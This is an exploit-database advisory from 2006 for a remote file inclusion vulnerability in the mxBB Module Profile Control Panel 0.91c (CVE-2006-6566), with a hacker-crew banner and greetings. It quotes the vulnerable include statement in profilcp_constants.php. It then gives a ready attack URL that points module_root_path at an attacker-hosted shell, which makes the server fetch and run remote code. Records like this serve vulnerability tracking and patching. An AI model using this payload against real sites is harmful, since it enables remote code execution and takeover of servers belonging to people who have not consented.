mxBB Module Profile CP 0.91c - Remote File Inclusion

Author: bd0rk
type: webapps
platform: php
port: 
date_added: 2006-12-08 
date_updated:  
verified: 1 
codes: OSVDB-33263;CVE-2006-6566 
tags: 
aliases:  
screenshot_url:  
application_url: 

###############################################################################
##                                                                           ##
## mxBB Module Profile Control Panel 0.91c Remote File Include Vulnerability ##
##                                                                           ##
## Bugfound3R: bd0rk || SOH-Crew                                             ##
##                                                                           ##
## Website: www.soh-crew.it.tt                                               ##
##                                                                           ##
## Greetz: str0ke, Lu7k, TheJT, Natok                                        ##
##                                                                           ##
###############################################################################

Download: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=70

==> Vulnerable Code in profilcp_constants.php <==

Code: include_once($module_root_path . 'includes/lang_extend_mac.'.$phpEx);

Usage: http://[y0uRSiTe]/[direct0ry]/includes/profilcp_constants.php?module_root_path=http://Sh3LL?

# milw0rm.com [2006-12-09]